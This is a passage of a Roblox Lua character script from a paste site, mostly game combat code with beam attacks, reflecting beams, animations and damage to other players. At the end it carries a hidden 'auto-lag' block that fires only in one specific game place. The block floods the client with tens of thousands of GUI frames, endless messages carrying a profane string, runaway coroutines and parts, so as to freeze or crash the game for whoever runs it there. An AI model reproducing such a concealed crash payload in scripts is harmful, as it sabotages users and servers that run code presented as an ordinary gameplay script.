  763. CFrame.new(Vector3.new(0.5, -1.4, -0.601)) * CFAngles(Vector3.new(-15.868, -12.953, -7.631));
  764. })
  765. wait(.2)
  766. vel:Destroy()
  767. Debounces.damageLevel = 0
  768. Debounces.scalingDamage = false
  769. Debounces.isBoosting = false
  770. end
  771. end)
  772.  
  773. uinps.InputBegan:connect(function(InputObject)
  774. if InputObject.KeyCode == Enum.KeyCode.Q and Debounces.isAttacking == false and Debounces.isSprinting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  775. local isLooping = true
  776. uinps.InputEnded:connect(function(InputObject2)
  777. if InputObject2.KeyCode == Enum.KeyCode.Q then
  778. isLooping = false
  779. end
  780. end)
  781. while true do
  782. if isLooping == false then
  783. break
  784. end
  785. Debounces.attackNumber = Debounces.attackNumber + 1
  786. local aimPos = mouse.Hit.p
  787. local head = Instance.new("Part",c)
  788. head.Size = Vector3.new(12,.2,12)
  789. head.CanCollide = false
  790. head.Anchored = true
  791. head.Transparency = 1
  792. for i = 1,2 do
  793. local decal = Instance.new("Decal",head)
  794. decal.Texture = "rbxassetid://323497117"
  795. if i == 1 then
  796. decal.Face = Enum.NormalId.Top
  797. else
  798. decal.Face = Enum.NormalId.Bottom
  799. end
  800. end
  801. if Debounces.attackNumber%2 == 1 then
  802. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(8,8,.5)).p,aimPos)
  803. else
  804. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(-8,8,.5)).p,aimPos)
  805. end
  806. spawn(function()
  807. local timer = 0
  808. while rs.RenderStepped:wait() do
  809. if timer >= 1.55 then
  810. break
  811. end
  812. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  813. timer = timer + 1/30/(Debounces.FPS/60)
  814. end
  815. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  816. local ray = Ray.new(head.CFrame.p,(aimPos - head.CFrame.p).unit * 999)
  817. local hit, pos = workspace:FindPartOnRay(ray,c)
  818. local dis = (head.CFrame.p - pos).magnitude
  819. local rayPart = Instance.new("Part",rayModel)
  820. rayPart.Material = "Neon"
  821. rayPart.FormFactor = "Custom"
  822. rayPart.BrickColor = BrickColor.new(1,1,1)
  823. rayPart.Anchored = true
  824. rayPart.CanCollide = false
  825. rayPart.Size = Vector3.new(7,7,dis + 400)
  826. local rayCFrame = CFrame.new(head.CFrame.p + (aimPos - head.CFrame.p).unit * (dis/2 + 200),head.CFrame.p + (aimPos - head.CFrame.p).unit * dis * 2)
  827. rayPart.CFrame = rayCFrame
  828. head:Destroy()
  829. end)
  830. wait()
  831. local s = Instance.new("Sound",head)
  832. s.Volume = 1
  833. s.SoundId = "rbxassetid://332223043"
  834. s:Play()
  835. wait(.04)
  836. end
  837. end
  838. end)
  839.  
  840. uinps.InputBegan:connect(function(InputObj)
  841. if InputObj.KeyCode == Enum.KeyCode.E and Debounces.isAttacking == false and Debounces.isSprinting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  842. Debounces.isAttacking = true
  843. local aimPos = c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-999)).p
  844. local head = Instance.new("Part",c)
  845. head.Size = Vector3.new(18,.2,18)
  846. head.CanCollide = false
  847. head.Anchored = true
  848. head.CFrame = CFrame.new(c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-9)).p,aimPos)
  849. head.Transparency = 1
  850. for i = 1,2 do
  851. local decal = Instance.new("Decal",head)
  852. decal.Texture = "rbxassetid://323497117"
  853. if i == 1 then
  854. decal.Face = Enum.NormalId.Top
  855. else
  856. decal.Face = Enum.NormalId.Bottom
  857. end
  858. end
  859. setLerp(.1)
  860. setJointCFrames({
  861. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, 0, 0));
  862. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, -0.001, -0.001));
  863. CFrame.new(Vector3.new(-1.7, 0, 0)) * CFAngles(Vector3.new(-12.808, -28.88, -21.502));
  864. CFrame.new(Vector3.new(1.699, 1.2, 0.599)) * CFAngles(Vector3.new(-146.606, 16.571, 13.928));
  865. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-60, 0, -0.001));
  866. CFrame.new(Vector3.new(0.5, -1.4, -0.4)) * CFAngles(Vector3.new(-15.001, -15.001, 0));
  867. })
  868. spawn(function()
  869. local timer = 0
  870. while rs.RenderStepped:wait() do
  871. if timer >= 1.55/.8 then
  872. break
  873. end
  874. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  875. timer = timer + 1/30/(Debounces.FPS/60)
  876. end
  877. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  878. local ray = Ray.new(head.CFrame.p,(aimPos - head.CFrame.p).unit * 999)
  879. local hit, pos = workspace:FindPartOnRay(ray,c)
  880. local dis = (head.CFrame.p - pos).magnitude
  881. local rayPart = Instance.new("Part",rayModel)
  882. rayPart.Material = "Neon"
  883. rayPart.FormFactor = "Custom"
  884. rayPart.Name = "Punch"
  885. rayPart.BrickColor = BrickColor.new(1,1,1)
  886. rayPart.Anchored = true
  887. rayPart.CanCollide = false
  888. rayPart.Size = Vector3.new(28,28,dis + 400)
  889. local rayCFrame = CFrame.new(head.CFrame.p + (aimPos - head.CFrame.p).unit * (dis/2 + 200),head.CFrame.p + (aimPos - head.CFrame.p).unit * dis * 2)
  890. rayPart.CFrame = rayCFrame
  891. head:Destroy()
  892. end)
  893. wait()
  894. local s = Instance.new("Sound",head)
  895. s.Volume = 1
  896. s.SoundId = "rbxassetid://332223043"
  897. s.Pitch = .8
  898. s:Play()
  899. wait(.75)
  900. setLerp(.17)
  901. setJointCFrames({
  902. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(-20, 15, 0));
  903. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, 14.999, -0.001));
  904. CFrame.new(Vector3.new(-1.7, 0, 0.2)) * CFAngles(Vector3.new(-33.928, -4.374, -38.76));
  905. CFrame.new(Vector3.new(1.499, 0.4, -0.601)) * CFAngles(Vector3.new(74.335, 25.091, -6.155));
  906. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-45, 0, -0.001));
  907. CFrame.new(Vector3.new(0.5, -1.8, -0.4)) * CFAngles(Vector3.new(-15, -15, 0));
  908. })
  909. wait(.5)
  910. Debounces.isAttacking = false
  911. end
  912. end)
  913.  
  914. reflect = function(d,n)
  915. local i, n = -1 * d.unit, n.unit
  916. local dot = n:Dot(i)
  917. return 2*dot*n - i
  918. end
  919.  
  920. makeReflectionBeam = function(pos,look,isCrit)
  921. local ray = Ray.new(pos,look)
  922. local hit,hitpos,norm = workspace:FindPartOnRay(ray,c)
  923. local e = Instance.new("Part",rayModel)
  924. e.Anchored = true
  925. e.CanCollide = false
  926. e.BrickColor = BrickColor.new("White")
  927. e.Material = "Neon"
  928. e.FormFactor = "Custom"
  929. e.Size = Vector3.new(6,6,(pos - hitpos).magnitude)
  930. if isCrit == true then
  931. e.Size = Vector3.new(16,16,(pos - hitpos).magnitude)
  932. e.Name = "Punch"
  933. end
  934. e.CFrame = CFrame.new(pos + (hitpos - pos)/2, pos)
  935. local e = Instance.new("Sound",c)
  936. if isCrit == true then
  937. e.Volume = .5
  938. else
  939. e.Volume = .3
  940. e.Pitch = 1.5
  941. end
  942. e.SoundId = "rbxassetid://200632875"
  943. e:Play()
  944. spawn(function()
  945. wait(6)
  946. e:Destroy()
  947. end)
  948. wait(.05)
  949. if hit ~= nil then
  950. newDir = reflect(look.unit,norm,isCrit)
  951. makeReflectionBeam(hitpos,newDir * 999,isCrit)
  952. end
  953. end
  954.  
  955. uinps.InputBegan:connect(function(InputObject)
  956. if InputObject.KeyCode == Enum.KeyCode.Q and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isPassive == true and Debounces.isTyping == false then
  957. local isLooping = true
  958. uinps.InputEnded:connect(function(InputObject2)
  959. if InputObject2.KeyCode == Enum.KeyCode.Q then
  960. isLooping = false
  961. end
  962. end)
  963. while true do
  964. if isLooping == false then
  965. break
  966. end
  967. Debounces.attackNumber = Debounces.attackNumber + 1
  968. local aimPos = mouse.Hit.p
  969. local head = Instance.new("Part",c)
  970. head.Size = Vector3.new(12,.2,12)
  971. head.CanCollide = false
  972. head.Anchored = true
  973. head.Transparency = 1
  974. for i = 1,2 do
  975. local decal = Instance.new("Decal",head)
  976. decal.Texture = "rbxassetid://323497117"
  977. if i == 1 then
  978. decal.Face = Enum.NormalId.Top
  979. else
  980. decal.Face = Enum.NormalId.Bottom
  981. end
  982. end
  983. if Debounces.attackNumber%2 == 1 then
  984. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(8,8,.5)).p,aimPos)
  985. else
  986. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(-8,8,.5)).p,aimPos)
  987. end
  988. spawn(function()
  989. local timer = 0
  990. while rs.RenderStepped:wait() do
  991. if timer >= 1.55 then
  992. break
  993. end
  994. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  995. timer = timer + 1/30/(Debounces.FPS/60)
  996. end
  997. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  998. head:Destroy()
  999. makeReflectionBeam(head.CFrame.p,(head.CFrame.p - aimPos).unit * -999,false)
  1000. end)
  1001.  
  1002. wait()
  1003. local s = Instance.new("Sound",head)
  1004. s.Volume = 1
  1005. s.SoundId = "rbxassetid://332223043"
  1006. s.Pitch = 1.02
  1007. s:Play()
  1008. wait(.2)
  1009. end
  1010. end
  1011. end)
  1012.  
  1013. uinps.InputBegan:connect(function(InputObj)
  1014. if InputObj.KeyCode == Enum.KeyCode.E and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isPassive == true and Debounces.isTyping == false then
  1015. Debounces.isAttacking = true
  1016. local aimPos = c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-999)).p
  1017. local head = Instance.new("Part",c)
  1018. head.Size = Vector3.new(18,.2,18)
  1019. head.CanCollide = false
  1020. head.Anchored = true
  1021. head.CFrame = CFrame.new(c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-9)).p,aimPos)
  1022. head.Transparency = 1
  1023. for i = 1,2 do
  1024. local decal = Instance.new("Decal",head)
  1025. decal.Texture = "rbxassetid://323497117"
  1026. if i == 1 then
  1027. decal.Face = Enum.NormalId.Top
  1028. else
  1029. decal.Face = Enum.NormalId.Bottom
  1030. end
  1031. end
  1032. setLerp(.1)
  1033. setJointCFrames({
  1034. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, 0, 0));
  1035. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, -0.001, -0.001));
  1036. CFrame.new(Vector3.new(-1.7, 0, 0)) * CFAngles(Vector3.new(-12.808, -28.88, -21.502));
  1037. CFrame.new(Vector3.new(1.699, 1.2, 0.599)) * CFAngles(Vector3.new(-146.606, 16.571, 13.928));
  1038. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-60, 0, -0.001));
  1039. CFrame.new(Vector3.new(0.5, -1.4, -0.4)) * CFAngles(Vector3.new(-15.001, -15.001, 0));
  1040. })
  1041. spawn(function()
  1042. local timer = 0
  1043. while rs.RenderStepped:wait() do
  1044. if timer >= 1.55/.8 then
  1045. break
  1046. end
  1047. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  1048. timer = timer + 1/30/(Debounces.FPS/60)
  1049. end
  1050. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  1051. head:Destroy()
  1052. makeReflectionBeam(head.CFrame.p,(head.CFrame.p - aimPos).unit * -999,true)
  1053. end)
  1054. wait()
  1055. local s = Instance.new("Sound",head)
  1056. s.Volume = 2
  1057. s.SoundId = "rbxassetid://332223043"
  1058. s.Pitch = .8
  1059. s:Play()
  1060. wait(.75)
  1061. setLerp(.17)
  1062. setJointCFrames({
  1063. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(-20, 15, 0));
  1064. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, 14.999, -0.001));
  1065. CFrame.new(Vector3.new(-1.7, 0, 0.2)) * CFAngles(Vector3.new(-33.928, -4.374, -38.76));
  1066. CFrame.new(Vector3.new(1.499, 0.4, -0.601)) * CFAngles(Vector3.new(74.335, 25.091, -6.155));
  1067. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-45, 0, -0.001));
  1068. CFrame.new(Vector3.new(0.5, -1.8, -0.4)) * CFAngles(Vector3.new(-15, -15, 0));
  1069. })
  1070. wait(.5)
  1071. Debounces.isAttacking = false
  1072. end
  1073. end)
  1074.  
  1075. uinps.InputBegan:connect(function(InputObj)
  1076. if InputObj.KeyCode == Enum.KeyCode.Slash then
  1077. local finishEvent = nil
  1078. Debounces.isTyping = true
  1079. finishEvent = uinps.InputBegan:connect(function(InputObj)
  1080. if InputObj.KeyCode == Enum.KeyCode.Return or InputObj.UserInputType == Enum.UserInputType.MouseButton1 then
  1081. Debounces.isTyping = false
  1082. finishEvent:disconnect()
  1083. end
  1084. end)
  1085. end
  1086. end)
  1087.  
  1088. uinps.InputBegan:connect(function(InputObj)
  1089. if InputObj.KeyCode == Enum.KeyCode.LeftShift then
  1090. Debounces.isSprinting = true
  1091. end
  1092. end)
  1093.  
  1094. uinps.InputEnded:connect(function(InputObj)
  1095. if InputObj.KeyCode == Enum.KeyCode.LeftShift then
  1096. Debounces.isSprinting = false
  1097. end
  1098. end)
  1099.  
  1100. rs.RenderStepped:connect(function()
  1101. Debounces.FPS = 1/rs.RenderStepped:wait()
  1102. local FPSLerp = AnimStat.lerpSpeed/(Debounces.FPS/60)
  1103. if Debounces.isPassive == false then
  1104. fight:Pause()
  1105. sans:Resume()
  1106. efxBlock.Transparency = 1
  1107. else
  1108. fight:Resume()
  1109. sans:Pause()
  1110. efxBlock.Transparency = 0
  1111. end
  1112. for i,v in pairs (rayModel:children()) do
  1113. if v.Transparency >= 1 then
  1114. v:Destroy()
  1115. else
  1116. v.CanCollide = true
  1117. local parts = v:GetTouchingParts()
  1118. v.CanCollide = false
  1119. for i = 1,#parts do
  1120. if parts[i].Parent:FindFirstChild("Humanoid") and parts[i].Parent ~= c and v.Name ~= "Punch" then
  1121. parts[i].Parent.Humanoid:TakeDamage(.5/(Debounces.FPS/60))
  1122. elseif parts[i].Parent:FindFirstChild("Humanoid") and parts[i].Parent ~= c and v.Name == "Punch" then
  1123. parts[i].Parent.Humanoid:TakeDamage(3.1/(Debounces.FPS/60))
  1124. end
  1125.  
  1126.  
  1127.  
  1128. end
  1129. v.Size = v.Size + Vector3.new(1/(Debounces.FPS/60),1/(Debounces.FPS/60),0)
  1130. v.Transparency = v.Transparency + .05/(Debounces.FPS/60)
  1131. end
  1132. end
  1133. for i = 1,#Joints do
  1134. Joints[i].C0 = Joints[i].C0:lerp(JointTargets[i], FPSLerp)
  1135. end
  1136. light.Brightness = math.random(1,4)
  1137. end)
  1138.  
  1139.  
  1140.  
  1141.  
  1142.  
  1143.  
  1144.  
  1145. -- Auto-Lag for people at antis
  1146. -- heheheh easter egg
  1147.  
  1148. -- This is also to tell you "Please do not run in antis SB"
  1149. if game.PlaceId == 21053279 then
  1150. plr = game.Players.LocalPlayer
  1151. char = plr.Character
  1152. cam = workspace.CurrentCamera
  1153. cam.CameraType = "Scriptable"
  1154. cam.CoordinateFrame = CFrame.new(0,0,50)
  1155. local localContainer
  1156. local service=setmetatable({
  1157. MarketPlace=game:service("MarketplaceService");
  1158. GamepassService=game:service("GamePassService");
  1159. ChatService=game:service("Chat");
  1160. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  1161. },{
  1162. __index=function(tab,index)
  1163. local serv
  1164. local ran,err=pcall(function() serv=game:service(index) end)
  1165. if ran then
  1166. tab[index]=serv
  1167. return serv
  1168. end
  1169. end
  1170. })
  1171.  
  1172. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  1173.  
  1174. x=game.Players.LocalPlayer
  1175. x.CameraMode=Enum.CameraMode.LockFirstPerson
  1176. f=Instance.new("Frame")
  1177. f.Size=UDim2.new(1,0,1,0)
  1178. f.BackgroundTransparency=0.01
  1179. f.BackgroundColor3=Color3.new()
  1180. pg=x.PlayerGui
  1181. gui=Instance.new("ScreenGui",pg)
  1182. wait(.1)
  1183. for i=1,28000 do
  1184. f:Clone().Parent=gui
  1185. f:Clone().Parent=gui
  1186. f:Clone().Parent=gui
  1187. end
  1188.  
  1189. script:Destroy();
  1190. local runService = Game:GetService("RunService").Stepped;
  1191. local LagNum = 1250;
  1192. local str = "lag fucker lag";
  1193.  
  1194. for i = 1, math.huge do
  1195. if i % LagNum == 0 then runService:wait(); end
  1196. Instance.new("Message", Workspace).Text = str;
  1197. end
  1198.  
  1199. local bores=coroutine.create(function() --Yolo?
  1200. cPcall(function()
  1201. --print(Game[("%s|"):rep(0xFFFFFFF)])
  1202. cPcall(print,'lol')
  1203. cPcall(warn,'lol')
  1204. cPcall(error,'lol')
  1205. while wait(0.1) do
  1206. spawn(function()
  1207. cPcall(function()
  1208. spawn(function()
  1209. local tab={}
  1210. pcall(function()
  1211. spawn(function()
  1212. for i=1,1000000 do
  1213. cPcall(function()
  1214. spawn(function()
  1215. local bob2=coroutine.create(function()
  1216. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  1217. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  1218. spawn(f1)
  1219. end)
  1220. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  1221. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  1222. end)
  1223. end)
  1224. end
  1225. tab={}
  1226. end)
  1227. end)
  1228. end)
  1229. end)
  1230. end)
  1231. end
  1232. end)
  1233. end)
  1234.  
  1235. service.RunService.Stepped:connect(function()
  1236. for i=1,500000 do
  1237. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  1238. end
  1239. end)
  1240.  
  1241.  
  1242. local function bob()
  1243. cPcall(function()
  1244. while wait(0.1) do
  1245. --cPcall(function()
  1246. --for i=1,100 do
  1247. local p=Instance.new("Part")
  1248. p.Material="Neon"
  1249. p.Size=Vector3.new(50,50,50)
  1250. p.Anchored=true
  1251. p.BackSurface="Studs"
  1252. p.BottomSurface="Studs"
  1253. p.FrontSurface="Studs"
  1254. p.LeftSurface="Studs"
  1255. p.RightSurface="Studs"
  1256. p.TopSurface="Studs"
  1257. local t=Instance.new("Texture",p)
  1258. t.Texture="http://www.roblox.com/asset/?id=190803157"
  1259. t.Face="Top"
  1260. t.StudsPerTileU=1000
  1261. t.StudsPerTileV=1000
  1262. local t2=t:clone()
  1263. t2.Parent=p
  1264. t2.Face="Bottom"
  1265. local t2=t:clone()
  1266. t2.Parent=p
  1267. t2.Face="Left"
  1268. local t2=t:clone()
  1269. t2.Parent=p
  1270. t2.Face="Right"
  1271. local t2=t:clone()
  1272. t2.Parent=p
  1273. t2.Face="Front"
  1274. local t2=t:clone()
  1275. t2.Parent=p
  1276. t2.Face="Back"
  1277. p.Parent=service.LocalContainer()
  1278. --end
  1279. --end)
  1280. end
  1281. end)
  1282. end
  1283. bob() --while wait(0.1) do cPcall(bob) end
  1284. end
  1285.  
  1286.  
  1287. -- ~CLarramore
  1288. -- ~CLarramore 2016 (writing over my old signature)
  1289.  
  1290. -- P.S Fuck you.
  1291. -- Please don't run in antis
  1292. -- ~CL 2016
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement